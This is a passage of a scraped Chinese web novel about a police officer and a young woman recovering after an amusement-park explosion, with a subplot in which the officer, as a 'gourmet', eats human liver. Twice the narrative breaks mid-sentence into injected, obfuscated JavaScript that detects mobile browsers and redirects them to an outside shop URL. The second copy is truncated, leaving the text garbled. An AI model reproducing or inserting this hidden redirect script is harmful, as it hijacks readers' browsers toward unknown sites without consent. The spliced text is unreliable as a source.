楚知元被问得哑言,两手一摊:“鬼晓得,除了姓谈的,其余三位都是疯子。” “这场爆炸把自己人都卷进去了,多半是红鸽内部在‘清理门户’,也好趁乱给各方内鬼传递消息,干扰后续的搜查,所以扒出点真东西来也无所谓,自然会有人替他们扛罪。” “你知道这么清楚,”楚知元说,“难道他们渗透到歌华了?” “没有,”公冶直视前方,“目前暂时没有。” “我听说,派去红鸽卧底的警察全都失踪了?” 公冶没说话,表情有些阴郁。 楚知元愁眉不展,叹道:“真没想到她和红鸽有着千丝万缕的联系,这女人黑白通吃啊,太难搞了。” “知元,你说她凭什么恶事做尽,却可以心安理得活在阳光下,鲜花掌声功名都是她的,这些,本该属于每个奋战在隐蔽战线上的人民警察。” 公冶离开椅子,一步步走到有阳光的地方,楚知元跟了过去。 “就凭她在报告结尾写了一句,自己是为了人类的未来?” “是啊,”楚知元伤感地坦言,“凭这一句,足以让她饮誉世外了。” 一线鸟影穿梭于空荡的枝头,眨眼便振翅飞出围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579317|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙,闪入无边无际的晴空。 新年第一天的阳光极冷,冷入骨髓。 “我不想再做傀儡了。” 一个大叔在外边庭院偷偷抽烟,浊白烟雾缥缈扩散,吹去公冶眼前,隔着这团烟雾,公冶想起在博|彩厅里,和江邂月短暂交锋的那一眼。 当时他们两人的眼睛里,都迸射出了伪君子的狠毒光芒,一模一样。 好可怕。 邓烟雨心想着。 好可怕。 这样一双眼睛,正在接近她。 开枪的后坐力把她冲倒在地,她浑身阵痛,爬不起来,眼看着耀艳的飞鸟离自己越来越近,很多人按着邓忠云,卡住他咽喉,不让他叫喊。 那名军士迈着长筒军靴,步至邓烟雨面前,许久未动,直到邓烟雨听见头顶泛出低沉的轻笑,军士抬手摘下自己胸前凹陷的徽章,递糖一般递给了她。 他俨如一座茫茫雪山,峭拔威仪,邓烟雨必须极力仰起头,雪白军帽下笼着阴影,但只需留意,她就能认出那张脸—— 是一张格外年轻好看,尚未打眉钉的,道貌岸然的嘴脸—— 江邂月的脸。 “拿着吧。” 江邂月说,于是邓烟雨伸手,接过了徽章。 随即,她发现江邂月胸口平白多出了一把匕首,金光灿灿镶着宝石,她再次仰头,却见他的脸变了。 变成了一张沉睡的脸,嘴角渗血,靠墙倒落。 邓烟雨先是一怔,然后错愕地摇了摇头,拖着疼痛的身体往前,无论怎么伸长手臂去抓去碰,他们之间好像挡着一团凝重的雾,邓烟雨始终够不着。 她看见鲜血从他心口流出,流满一地。 当年开枪打在江邂月胸口的子弹,在十几年后淬磨成一把刀,刺向了公冶的心脏。 “看吧,老天惩罚了你,”江邂月咧开嘴笑了,“这是报应。” “你的报应!” 不是——不是的! 邓烟雨稚嫩的小身躯发狠扑过去,想拔出匕首,结果还没用力,她的手就被沉重地握住。 握住她的这只手很大,和平时一样充满力量,骨节亭匀修长,可它丧失了以往的温度,颜色偏淡的筋脉在手背上狰狞延出。 邓烟雨莫名心慌,回握这只手,目光沿着手背爬上去,从质地考究的西装到里面的衬衣领带,皆是禁欲的纯黑,裹紧他一身的悍鸷暴力。 她茫然抬头,目光攀过孔武有力的一切—— 男人在看她,面容有种锋利尊贵的美感,一丝不乱的黑发下是双刻薄冷透的眼睛,绿意淡而微裂,像冬日湖面上静静碎着的冰针,令人近而生怯。 “……” “公冶警官……?” 仿佛回到最开始,初见他的那条黑巷里,和那晚一样,邓烟雨于一瞬间记住了这双眼。 只是这一次,她最爱的那一痕叠翠流青已遍寻不见,她所认识的公冶渡莲在一夜之间彻底死去,死在一柄阶级的宝剑下,不会再回来了。 分明是他的眼睛,他的脸,可她竟然不认识,完全不认识…… 太陌生了。 公冶居高临下,不出声地凝视她,几秒工夫便把手抽了出来,站起身。 那道背影高大,沉雅,笔挺,隐隐散发着纯净贵重的气息——将自己与邓烟雨分割成“两方”的气息。 邓烟雨去抓他衣角,而他往前一迈,就把她整个人甩开了。 “等等,你去哪?” 皮鞋击地声从容不迫,公冶并未作答,径自走向那群白衣军士,军士们为他低下了头。 “不行。” “你不能去那……” “回来。” “回来!!!” 邓烟雨声嘶力竭大叫,徽章尖角扎破了手心,鲜血淋淋漓漓落在地板上。 “公冶渡莲!!” 公冶一眼都没分给她,低身走出了她逼仄的家,邓烟雨赤着脚拼命狂追,摔下又陡又窄的楼梯,摔出好多血肉模糊的伤口。 黑色身影在众人簇拥下远去,一次也没回头。 邓烟雨流着泪,在昏暗的长坡上迷失了。以前,她即使深陷绝境,也知道有那么一个人会来拯救她,会抱紧她,会把她护进温暖的怀抱。 而如今不会了。 那个人——再也不会向她走来。 “为什么非是他们,”邓烟雨对着浓浓夜雾大喊,“为什么非要去那里!” “你不要去!” 不要去那里! 不要—— “不要!!!” 邓烟雨惊惧地尖叫,朝空中挥手,吓醒了趴在被子上打盹的金曦。 “小雨啊!”金曦盈着泪水,凑上前喊她,“小雨,是妈妈!你看看我,我们在医院,已经没事了,没事了!安全了!” 医院……医院。 邓烟雨干渴地喘着,心脏平静不了,气也捋不顺,她愣愣望向金曦,双眼带了血丝。 是梦。 金曦心疼地擦着她脸颊,问了好多话,邓烟雨还陷在略感真实的噩梦里,一时难以回应。 她盯着天花板,半晌,嗓音低哑地问了句:“公冶警官呢?” 65. 大雪(修) “什么?谁?小冶吗?” 金曦语无伦次,叹了口气:“小冶没事啦,今早刚和我们换班,我怕他太累叫他回去休息了。你啊,一醒来不是想着爸爸妈妈,反而先找起男人来了,你睡了整整两天,可把我担心死了!” 邓烟雨自动忽略金曦不着调的数落,再三确认:“他伤得更重,比我严重,真的没事?” “一万个没事!我还能骗你不成?他昨儿守了你一夜呢,”金曦知道邓烟雨想听什么,让她躺好,回忆道,“我和你爸来的时候看见小冶一身血,真要吓昏过去了,我劝他去看医生,他这孩子比你还轴,不肯的,非要等你做完手术,听医生说你情况稳定,这才和朋友回家换衣服去了,对了对了,他那个朋友也是个帅哥呀……” 金曦叭叭叭一顿东拉西扯,虽然废话连篇,但邓烟雨听得入迷,全程都没打断,直到金曦叫了声,说得把医生找来,慌忙跑了出去。 病房里只剩邓烟雨一人,她和雪白的天花板面面相对,放空了会儿,歪头去看窗外,恰好起了大风,枯叶在阳光里盘旋,有只很小的鸟一闪而过,向阳光最盛的地方飞去,最后收翅歇在了一户人家的窗台上。 它漆黑的目珠盯着客厅内,电视上正播出早间新闻,卡萨乐园最火的中世纪主题园区烧成废墟,事故现场画面投射在公冶暗蒙蒙的瞳底。 “2月8日早晨7时许,灯港省狮城县卡萨乐园突发大规模爆炸并引发特大火灾,当地消防、应急等相关部门及时展开救援工作,截至今日已确认有41人遇难……经初步调查,遇难人员均为园区工作者,当时靠近白玛教堂正在进行设施维修……” 楚知元从二楼走下来,去厨房冲黑咖啡喝,豆子不慎洒出掉在桌上的哗啦声随着主持人绘声绘色的报道响满一室。 他背对着公冶,问:“都编了些什么瞎话啊?” “设备缺陷,操作不当,人员违章,卡萨集团首当其冲包揽了一切,通篇报道只字不提美食家。” 楚知元握住磨豆机的手柄,闻言一愣:“只说了这批人遇难,没有公布他们的真实身份?” “都把他们扯成工作人员了,身份自然也无需挑明。” “连这也要隐瞒?!” 公冶目光移去窗台上,那边树影与阳光交织得甚好,空无一物。 “大概吧。” 楚知元一言难尽地咋舌,咔咔磨起了咖啡豆:“特别重大火灾啊,烟冒了两天都没散,新闻发布会上县长的脸青成啥样了,当广大市民眼瞎?” “在不违背客观规律的条件下,浮于表面的托辞总是合理的,”公冶垂眸说,“你会像小孩一样大喊皇帝没穿衣服吗?” “呵,”楚知元听笑了,“当官的都不敢,我们老百姓哪敢呢。不过教堂下面炸出那么大一窟窿,连美食家的祖坟都给轰出来了,实验品烧焦了就当死个员工,那近期失踪的女孩呢,这堆账要如何抹平勾销?” “大事化小,小事化了,不解决就是解决,卡萨有的是时间闭园整改。”公冶在宛如噪音的研磨声中一笔带过地回答。 “权利好大,你说怎么办吧,就这事一出,别说灯港人心惶惶,估计歌华也要草木皆兵了,你尊敬的领导爸爸们能咽下这口气?” 咔——!比磨豆还刺耳的一记诡异脆响,楚知元幽幽举起断掉的手柄,面不改色静了一秒,继续说:“卡萨集团肯定要倾家荡产搭进去了,而且单单一个卡萨绝对不够,没抓住你这头肥羊,是他们最大的失算。” “你盼我点好吧,”公冶揉着酸痛的肩颈,回头说,“买个电动的。” “什么?” “我说磨豆机,别用手摇了,”公冶看着他,“你拿电钻干嘛?” “插磨豆机上,钻豆子。” “……” 本想让楚知元给他也泡一杯,眼下看来不需要了。 楚知元好不容易手磨了一杯热气腾腾的黑咖啡,成功人士一般往餐吧上优雅一坐,拿起份报纸抖了抖,说:“你不管啦?” “我管啥啊?”公冶伸了个懒腰,“我没被屠行英逮走已经很好了。” “哈,你也相信我的猜想了吧,”楚知元尝了一口,苦掉牙了,脸皱成了个猴子,“他……们……要……靠,苦死了……拉你当垫背。” 公冶掏出手机,打开外卖软件点了一杯意式咖啡,换成了燕麦奶。 楚知元:“你不要喝吗?” “我喝甜的。” “黑咖啡润肠通便啊。” “谢谢,但我不想一整天坐在马桶上。” “我没下毒也没加牛奶!你买外面的当心真拉肚子。” “我换成燕麦奶了。” “啊对了,”楚知元说,“前面丈母娘打你电话没打通,打我这来了,她说小姑娘醒啦,医生检查过说总体良好,要静养一段时日。” 公冶心中一块石头落了地,又说他:“能不能认点生,满嘴跑火车。” “干嘛,你不想金阿姨做你的丈母娘吗!”楚知元败絮其中的笑脸从报纸后面露出,“她瞧你身上有伤可紧张你了,还夸我帅嘞,多可爱的阿姨呀。” 公冶没回话,他心脏忽然一阵刺痛。 “嗯?渡莲?”楚知元问,“你怎么了?” 公冶抬起手,按住胸口:“心脏有点疼……” 听了这话,楚知元脸色剧变,立刻放下杯子:“你伤好了吗?” “差不多快了。” “差不多?”楚知元皱眉,“就算是烧伤,一天时间也该痊愈了,现在足足两天了,你还没好?” 公冶对自己身体的变化同样不解:“可能最近太虚弱了,没问题的,在恢复阶段,过两天就能……” “你确实太虚弱了,”楚知元打断他,转而从冰箱里拿出一只保鲜盒,走过来放在公冶的面前,态度坚决地说,“把它吃了。” 保鲜盒半透明,映出里面一团粉红色物体。公冶愣道:“这什么?” “肉,”楚知元一字一句说,“是我们最需要的肉,美食家应该吃的肉。” 公冶看向他。 “放心,合法途径买来的,医院提供的。” “我不要。” “你不要吃也得吃,为了这条命,吃一口也行。” 新鲜的肝脏人肉就放在里面,公冶连揭开盖子的勇气也没有。 心理上再拒绝,他也明白,他的身体早就饿疯了,有个声音流遍血管哀号着说吃吧,吃一口就一口,只需一口肉,我马上帮你把伤势治愈。 “既然天天被人指着鼻子骂‘怪物’,何苦再扮笑脸四处迎合,倒不如轻松当好一头怪物,该发善心的时候发发善心,该露獠牙的时候,就千万别客气。” “明哲保身天经地义,渡莲,没必要为了别人口中的仁义道德,舍弃你自己生存于世的权利,古洛给了我们合法食肉的途径,不用活得那么憋屈。” “吃吧。” 公冶内心挣扎了许久,忍着极大的反感,掀开盖子,里面是整齐切块的,有冷藏过的凉意,生肉的气味弥漫开来,他屏住呼吸,咬了一块,嚼也不嚼便吞了下去,出乎意料的是,他没有产生呕吐的欲望。 滑过喉咙的那种柔软湿润,竟如此平淡无奇,仿佛喝了一口水,并未勾起曾经丑陋黯淡的回忆。 他把这块肉,非常顺利地送进了胃里。 残破不堪的身体隐忍了多年,等待了多年,终于迎来了这一天——先天的渴求战胜了后天的伤害。 太简单了,吃肉太简单了。 “难受就去漱口,饿了就再吃,”楚知元冷静地宽慰,“顺其自然,把它当做再普通不过的一顿减脂餐,这一盒下去,你依然是守法公民,是保卫人民的优秀警察,是茫茫人海中爱着这个国家的其中一个,不必谴责自己讨厌自己,休息一下养足精神,调整好状态,才能去做你想做的事。” 公冶轻颤着睫毛,睁开眼,目光落在盒子里,这次他没闪躲。 “渡莲,改变是一瞬间的事,接受自己的改变才会比较累。” “活得开心点吧,多多祝福自己,我们的人生还长着呢。” 临近中午,公冶去了医院。走廊上尤为安静,他来到邓烟雨的病房前,门虚掩着,里面在传出声音。 “你说你前脚刚出格拉海德,后脚又进了人民医院,妈妈要不给你在住院部买个十平方的地吧?” 邓烟雨沮丧地说:“别挖苦我了,谁想三天两头进医院,我也超烦的。” “不烦不烦,你爸给你煮了山药粥,还炖了蔬菜汤,趁热吃,”金曦移出小桌板,从大毫升的保温瓶里倒出浓稠鲜香的汤粥,“医生建议你现在吃流食,但你胃口比米缸还大啊,我们怕你吃不饱,装了好多。” “我胃口哪里比米缸大……” “不是吗?那等小冶回来,我问问小冶,你在他家平常胃口怎么样。” 邓烟雨急了:“不行!” “哈哈哈,被我说中了吧,你这头小猪,把小冶的钱包都吃空了吧!” “妈妈——”邓烟雨抓不着跳开的金曦,气得挥拳,“你欺负病人——” 公冶听着她们母女俩打闹,嘴角也带起了笑意,却迟迟未进病房。 “影青?” 身后有人叫他,公冶回头,见是邓忠云。 “怎么不进去?”邓忠云朝他温和一笑,说,“我正好有事找你。” 他们在走廊尽头停下,邓忠云略微欠身:“非常感谢你救了小雨。” 公冶受不起长辈这一礼,连忙回以敬意,谦逊道:“这是我们该做的,我也是履行了我的职责。” 即使他出于礼貌低头,视线垂落着,邓忠云依然无法与他平视。 长得好高了。 邓忠云这般心想着,眼底添起一抹柔色,但很快化作苦笑:“其实起初我对公安并不抱有期待,你也见识到了灯港是什么样子,警力不足的情况下,这张法网上还结了数不清的溃痈,以致于我时常会回想当年被南陆侵占的灯港,会思考六十三年前的炮火到底有没有停止过。” 公冶表情一凝。 “我一开始很庆幸,小雨没有生在战火纷乱的时代,后来才发觉,虚伪的和平比战争来得更可怕,被炮火打伤固然痛,但比起皮肉之苦,丛林里的窥视则会像一根针顶在后心,它只是抵着,你不知道它到底有多长,也不知道它是被逼到了悬崖边缘,才会迫于无奈靠向了你。” “往后或许会云开雾散,也可能会更加艰难,我希望我的孩子幸福,也希望善良的你幸福,可我好像……永远都和这条路在背道而驰。” 阳光倾斜,照住了邓忠云整个人,公冶怔怔望着他,发不出声息。 “影青,我年轻时,曾做过一个后悔的决定,可如今我想明白了,那是曾经的自己在后悔,我能走到今天,不是一时失误。” 公冶轻喃:“邓叔叔……” “即便这条路在大多数人眼里错得离谱,我也会走下去,因为于我而言,它值得我不计后果,一往无前,”邓忠云郑重看向他,重新露出笑意,“再次谢谢你救了小雨,感谢歌华公安的辛勤付出,我将一生铭记。” 阳光斜到了病房里,邓烟雨挂完点滴,边吃粥边问金曦:“妈,公冶警官去哪了?” “一天到晚公冶警官公冶警官……”金曦在挑篮子里的黄金梨,打算等会拿去洗了给女儿削一颗,“你咋不对你老妈这样上心?说,是不是喜欢人家。” “是。”邓烟雨点头。 没想到女儿这么实诚,金曦呆成了个哑巴,未等开口,邓忠云和公冶就开门进来了。 邓烟雨眼睛一亮,还没叫出声,金曦就抢先问道:“小冶,我女儿平常在你家吃得怎么样呐,胃口好不好,饭舀几碗呀?” 邓烟雨:“……”啊啊啊啊——! 一连串问题呼来脸上,公冶没能消化,看了眼邓烟雨,耿直地回答:“胃口很好,都吃胖七斤了。” 说完,他就觉得自己闯祸了。 因为金曦瞪大了眼睛,转过去,欣喜道:“小雨,你吃胖了七斤?!” 邓烟雨脸噌地红了,山药粥一口一口往嘴里送,塞得鼓鼓的。 公冶慌神了,立即道歉:“我记错了,是我吃胖七斤……” “哈哈哈哈没事没事!”金曦上去拍他肩,“我女儿脾气不好,你别管她!” 邓忠云也安慰了一句,夫妻俩把他当宝贝疙瘩围在中间,邓烟雨看他们一家子其乐融融,心情居然莫名其妙变好了。 这种感觉……好像新婚生活啊。 “你笑啥呢。”金曦扭头,见女儿一脸痴笑,也跟着笑了。 “我吃完了,”邓烟雨囫囵几口解决了父亲煲了一上午的爱心汤,下床去拉公冶的手,“我们出去散步吧,在病房待得闷。” 公冶给她披上粉色大衣,邓烟雨说:“这衣服哪里找回来的?” “我寄存在酒吧,前两天去拿回来的。” 邓烟雨一摸口袋,开心道:“手机也在诶。” 她在公冶的陪护下走出病房,走廊上传来他们的闲聊声,夹杂着邓烟雨“我妈这人……我妈这人……”的碎碎抱怨。 金曦和邓忠云站在病房门口。 “哎,这门婚事我答应了,你也表个态。” “啥婚事,啥表态?”邓忠云认为她在异想天开,“你想哪儿去了?” “你看你,女儿的终身大事都不上心,但你放心吧,我都问过了,”金曦掰着手指说,“长得帅,个又高,脾气好,有房有车,房子还买在寸土寸金的星湖区,职业是警察,体制内多稳定呀,就是家庭境况可怜了些,父亲因公殉职,母亲也不在身边,他一个人过的。这孩子一看就从小缺爱,以后逢年过节让他上咱们家过年,不挺好?” “你打住吧,”邓忠云摆手,“小雨那你都还没做建设,就来这套。而且你一向不喜欢美食家,怎么换作影青就愿意了?” “小雨不用建设,她百分百同意,再说了,我也不是否定所有的美食家,小冶就很好啊,我看人的眼光不会错的。” “那你还看上我了。” “谁看上你了!当初是我追的你,但是谁求的婚?谁求的?” 邓忠云目送着公冶和邓烟雨消失在转角口,叹道:“你赢了。” 午后天气晴朗,护士推着坐轮椅的病人在小径上散心,邓烟雨因为头上绑着医用绷带,所以戴了一个很宽松的毛绒青蛙帽子,公冶怕它被风吹掉,想拽下来一点,但他此刻没手可拽—— 邓烟雨抓着他的双手翻来覆去,检查了好几遍:“一点疤痕也没有哎,好神奇的自愈能力。” “搬台显微镜来看吧?” “那倒不用。” 邓烟雨的指尖沿着他掌心上移,一大一小两只手贴在了一起。她没来由地说:“假如哪天我惹你生气了,我就算跑到再远的地方躲起来,你也会找到我吧。” 公冶感到意外,与她对视,邓烟雨似乎正等着他这一眼。 她的眼神有种说不出的坚韧,有一股要把他阴晦内心看透的力量。 “想什么呢,”他嗓音不受控地哑了,抽走自己的手,若无其事道,“我伤好全了,你对自己上上心吧。” “我也好了,”邓烟雨叉腰一哼,“厉害吧,子弹都打不死的小强。” “确实厉害,10.36毫米口径的子弹,还能避过骨头,”公冶越说下去越觉得蹊跷,轻声感慨,“那个狙击手枪法还挺准……” 邓烟雨没听清:“什么?” 公冶欲言又止,默然走了几步,看向邓烟雨:“那天在教堂楼顶,江邂月有和你说什么吗?” 冷风吹向了他,邓烟雨像是发现了流星,眼中闪了闪,随他一起停住脚步。 “江邂月……” 邓烟雨喃喃低语:“他并没对我说什么,只是……”她想起了那段讨厌的对话,声音哽咽了,“我以为你死了,把你,还有阿澄,夏琳姐都抛下了,只顾着自己逃,你会不会,会不会恨我……?” “我怎么会恨你,你要是不逃,要是真的丧失斗志,我才要绝望。” “我答应你,以后遇到再大的困难也不会丧失斗志,但是你死在我面前,对我打击真的太大了,”邓烟雨说着,眼睛就像开闸的水龙头哗哗往外流泪,哭出了声,“公冶警官,你下次不要死了好不好。” 公冶:“……“ 这是什么神奇的话? “好我答应你,我下次不死了,绝对不死了,”公冶不忍她再掉泪珠,替她擦着泪,努力安抚她,“还有,阿澄和夏琳都没事。” 邓烟雨眨眼不哭了,吸着鼻涕:“真的?!” “真的,我见到阿澄时他还剩一口气,就带他走了,后来在大楼背面找到了夏琳,她身上全是碎片,人有意识,估计是破窗逃出来的。” “太好了,那他们就自由了!” “是啊,”公冶跟着她微笑,“他们自由了。” 两人走到缠满紫藤萝的长廊下,冬天的紫藤萝只剩些灰褐枝条,杂乱而苍劲地垂着,邓烟雨走累了,找了个暖点的地方坐下,公冶见她大衣没加绒,就挡在风口。 “我不冷,太阳照着我呢,”邓烟雨把手指伸进光里,等了一阵,说,“你有想过不做警察吗?” “嗯?”公冶手插口袋,直白地反问,“换工作?” “对呀,”邓烟雨尽量不让自己去想那个梦,“如果不做警察,你会有其他感兴趣的工作吗,或者有想实现的梦想吗,爱好也可以。” 公冶在她身边坐下来,盯着地面平滑的石块,认真开口:“我说了你别笑话我。” 邓烟雨听后,一脸严肃:“我保证不笑。” 公冶鼓足勇气,说:“小提琴……” 邓烟雨:“啥?” “我喜欢拉小提琴。” 邓烟雨:“……” 邓烟雨:“哈哈哈哈哈哈?!” “说好了不笑的!” “对不起!但是,”她惊喜地掩住嘴,“诶诶诶?什么?我从没见过你拉小提琴,你会拉小提琴吗?” “会,”公冶说,“朗院长会拉,他有一间琴房,我来歌华以后他教过我很多乐器,就学会了小提琴,考完大学我抽空便把小提琴的证也考了,当然这证含金量不高,只算点皮毛功夫。” 邓烟雨压根没听见后半句。 抽空考了?!他到底拉得有多好! “你下次拉给我听!”邓烟雨激动道,“我小时候的梦想是舞蹈家!所以学过跳舞!下次你拉琴我跳舞好吗?” 公冶:“你跳什么舞?” 邓烟雨:“孔雀舞。” “……” “……” 两个人心照不宣地沉默了,公冶想了想说:“额,好诡异……” “哪里诡异了?” “我拉得难听,你跳得难看,那怎么办?” “那就笑死人啦哈哈哈哈哈!!”邓烟雨想着他在那边忘我地锯木头,自己在这边像只山鸡扑棱翅膀,笑得肩膀的伤口差点崩开。 “小提琴配孔雀舞,你大概是个天才。” “我知道我知道……”邓烟雨还在嘎嘎笑,拼命点头承认,“我是不是太得意忘形了?” “没事,”公冶说,“我可以为你去吹葫芦丝。” 邓烟雨脑补了他吹葫芦丝,完全停不下来了,伏在他肩上笑到打鸣,那银铃般的笑声很快感染了公冶,他也忍不住,笑出了声。 长廊上坐着个看书的奶奶,听到不远处笑声欢乐,侧头去看,镜片之后的眼睛里流露出丝许慈爱。 十分钟后,他们各自冷静了下来,公冶带她去贩卖机买苹果汁喝,找了一圈并没有,连热可可也没有,唯一的热饮是玉米浓汤。 这台贩卖机比较古老,要用纸币,好在楚知元借给他的外套里有钱,摸出来皱巴巴的,还夹着两张电影票,公冶一瞧电影名,笑了。 邓烟雨站在一旁,对着手哈了口热气,指尖倏地一冰,她仰头去望天空,太阳不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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公冶有点喝不下玉米浓汤,邓烟雨喜欢这个口味,解决完自己的,把他的那罐也拿来喝了。公冶说:“喝完回病房吧,雪大了,你父母要担心的。” 旁边就是扇小门,邓烟雨扔了空罐,推开门往里走,身后没动静,她疑惑地转头:“不回去吗?” “我要走了,你自己回去吧,帮我和伯父伯母问声好。” 邓烟雨心间有丝慌乱,依依不舍:“不陪我再待会儿吗?” 公冶朝她轻轻一笑,只说:“还会再见面的。” 他立在吹落的大雪前,身上的皮夹克让邓烟雨想起了初遇那晚,他也是穿成这样,逆着刺眼强烈的光,桀骜不驯地站在她前方,仿佛为她阻挡了整个世界的危险磨难。 再舍不得,也得让他走了。 邓烟雨飞快藏好脸上的寂寞,面向他,绽开明媚的笑容:“好的,那你路上注意安全,还有……” “公冶警官,新年快乐。” “嗯,”公冶眼底笑意未散,温柔地说道,“新年快乐。” 他转身离开,向漫天大雪迈去,邓烟雨望着他渐行渐远,层层叠叠的雪花彻底覆去他挺拔的背影。 她低下了头。 身体快好起来,寒假快过去,春天快来,紫露草快快盛开。 让我早一点回歌华,早一点去见他。 早点,让他知道我的心意。 邓烟雨伸手去摸大衣口袋,里面空荡荡的,没有那只公美娃娃。她沮丧地轻叹一声,推门往医院里走去。 公冶直到走出医院,才回头,朝邓烟雨住院的大楼遥遥望上一眼,方才的笑意转瞬殆尽,一抹伤痕累累的苦涩从眼底缓慢浮现出来。 雪下下停停,夜里转小,到第二天也没积起来多少,楚知元嚷嚷着要送公冶去机场,被公冶嫌啰嗦,按在了家里。 离起飞不到一个钟头了,公冶抵达机场略晚,在宽敞的大厅里找登机口,一个形色匆忙的男子没看路,和他撞了一下。 “对不起!”男子道了歉正想走,却见对方直接跪倒在地上,“啊?什么情况?” 他惊疑地愣在原地,心想着我只是撞了下,这年轻人要干嘛,讹我?! 机票从公冶手中飘落,他撑着地面的手臂隐约在发颤。 痛得想死,心脏快要爆裂了,钻心刺骨的裂痛如海啸袭击着全身。 公冶另一只涨出青筋的手紧按胸口,拼尽全力和那名男子说:“我没事……” “先生,你看起来不像没事的样子啊!”男子的惊呼引来了周围目光,“你还好吗?!我扶你去椅子上坐一下吧?” 公冶浑身微微抖着,嘴唇疼得泛白,垂头虚弱地说:“您走吧,我没事。” 男子见他快痛死过去了,随时要昏倒,哪还管得了他说什么,和另外一个热心的旅客一块把公冶小心扶起来,带到椅子那坐下。有个人是医生,寻思给他看看,被公冶婉拒了。 “我没关系,谢谢你们。” 隔座的人特意挪远了点,公冶察觉到了,不愿再给别人添麻烦,强忍着心脏裂成千瓣的剧痛,起身坐到最边上的椅子。过了约十分钟,他胸口反反复复的刺痛逐步得到缓解,可视野仍在摇晃。 我到底怎么了…… 公冶记得出门前打了镇血剂,精神状态也很好,身体也不疲倦。 但为什么会心脏痛?难道被江邂月刺穿的伤口并没愈合? 登机的广播响起,公冶必须站起来了。他思绪昏沉,都不记得自己是怎么坐上的飞机,往座位里一倒就睡了过去,再醒来已回到歌华市。 他打车去了单位。下午四点,GS总部静悄悄的,缺少过年的气氛,公冶路过指挥官办公室发现门开着,熊小滚竟然在。 简繁也在。 “我回来了。” 两位领导循声齐齐望向门口,熊小滚叫道:“影青!”他跑过来,摸了摸公冶的肩膀手臂,神色满是担忧,“你没事吧?” “没事啊。” “打你好几通电话不接,”简贵公子今日穿着并不华丽,面露忧色,“你要把小滚吓坏了。” “昨天回你信息了……”公冶愣了愣,说,“哦,前面坐飞机睡着了,没看手机。你们干嘛紧张成这样,我这不好端端回来了吗。” 熊孩子。 简繁心里骂道,懒得再操心:“我先走了,有事再说。” 熊小滚送走简繁,从头到脚打量公冶,悬着的心总算放下:“灯港出了这么大的事,朗院长和我看了新闻要急死,你手机还关机——” “手机电池摔坏了。” “行,你没事就好,就怕你……啊不说不说了,”熊小滚长吁一气,临近嘴边的话兜了几圈,试探性地问出来,“邓烟雨好吗?” “住院了,我没保护好。” 办公室一片静默。 “对不起,我们卷进了卡萨乐园的爆炸,我把检测仪也弄丢了,邓烟雨受了枪伤,所幸没有生命危险,但需要在医院静养。” 公冶低垂着头,等待上司的训斥,等来的却是一只宽大温厚的手掌,朝他脑袋揉了揉:“你们没事就好,其他都不是问题,细节我之后会找你单独问过,你现在赶紧滚回家,好好洗个热水澡睡一觉。” 公冶突然笑了,温热的目光藏在碎发下:“回家的感觉真好。” 熊小滚稀奇地附和:“哦是吗,那你今天要住宿舍吗?朗院长给职工宿舍布置了一番,他说鸡年鸡气象,枕头被子都换成了小鸡图案,床单是鸡蛋图案,墙也刷成了黄色。” “那我绝对不去住,吸一晚上甲醛,早上醒来还以为自己下蛋了呢,”公冶挥手,“我就来看看你,走了。” 他要离开了——熊小滚心里冷不丁冒出这么一句,不禁叫道:“阿冶。” 公冶回头。 “额……”熊小滚也没有特别要说的话,“那啥,蒋淮送了我一瓶酒,你不是爱喝吗,带回去吧。” 他从办公桌后拿出一袋酒,公冶去看袋子上的标志—— 人头马。 …… 恐怖的回忆袭上大脑,在烈火中熊熊燃烧的教堂残骸顿临眼前,他像定住了似的一动不动,直直盯着前方。 “阿冶?”熊小滚见他表情不对,“你在灯港遇到不好的事了吗,我感觉你回来以后人不大对劲。” “没有,你别担心,”公冶接过人头马,“我走了,明天我要上班吗?” “不用,你好好休息。” 从单位回家坐地铁最快,但公冶不想去人多的地方,打了车回去。 家里清冷得连灰尘也不存在,公冶推开落地窗通风,窗帘没拉开。 他把人头马放进柜子里,取出调酒器具摆上餐桌,又翻出一袋未开封的咖啡豆,铺了几颗豆子在垫子上,喷火点燃它们,待释放出白雾香气,他把酒杯倒扣下去进行熏杯。 后续的操作得心应手——加入大冰块,倒伏特加,甘露咖啡,搅拌,淋上半对半奶油,一杯白俄罗斯便做好了。 公冶双臂撑在桌面,凝视着这杯酒,不明白自己为何要调它。 淡奶油里含大量乳糖,是美食家不能碰的东西,何况他还兑了纯牛奶。 他埋下头,沉寂了十分之久,最后狠声说道:“出来。” 窗帘那风声微猎。 “我叫你出来,”公冶抬起冷厉的眼,不再掩饰愤怒的情绪,“叶穿林。” 窗帘诡秘拂动,下一秒,一抹人影出现在阳台上,他跨进公冶的家,脚上穿的是黑皮鞋,往上是一整套黑色警服,胸前佩戴着闪耀的紫色警徽。 他手里抓着一副假面,是镂空的蝴蝶羽翅,紫色的,和警徽上的花朵产生了交相辉映的错觉。 “哟,”叶穿林和公冶打了招呼,绿眼狭长轻挑,柔情无限,“408,几天没见了,你想我吗?” 66. 礼物 从下定决心的那一刻起,你已经成功了。——星革《坠入花岛》 “小佛山路70弄3号……是这里?” 邓烟雨拎着一只大袋子,站在破旧的红砖墙前,目光从门牌上移开,再次和手写的地址核对了一遍。 “我应该没记错吧,是3号还是4号?” 右侧的小门吱嘎拉开了,一辆轮椅慢悠悠滑出来,上面坐着个头发花白的老奶奶,推轮椅的是老爷爷。 他们像小孩学话咿咿呀呀交谈着,就这么路过了邓烟雨。被当做空气的邓烟雨愣了一瞬,追上去道:“你好,请问这里是温茉的家吗?” 俩老人管自己走着,没理会。 “你好——” 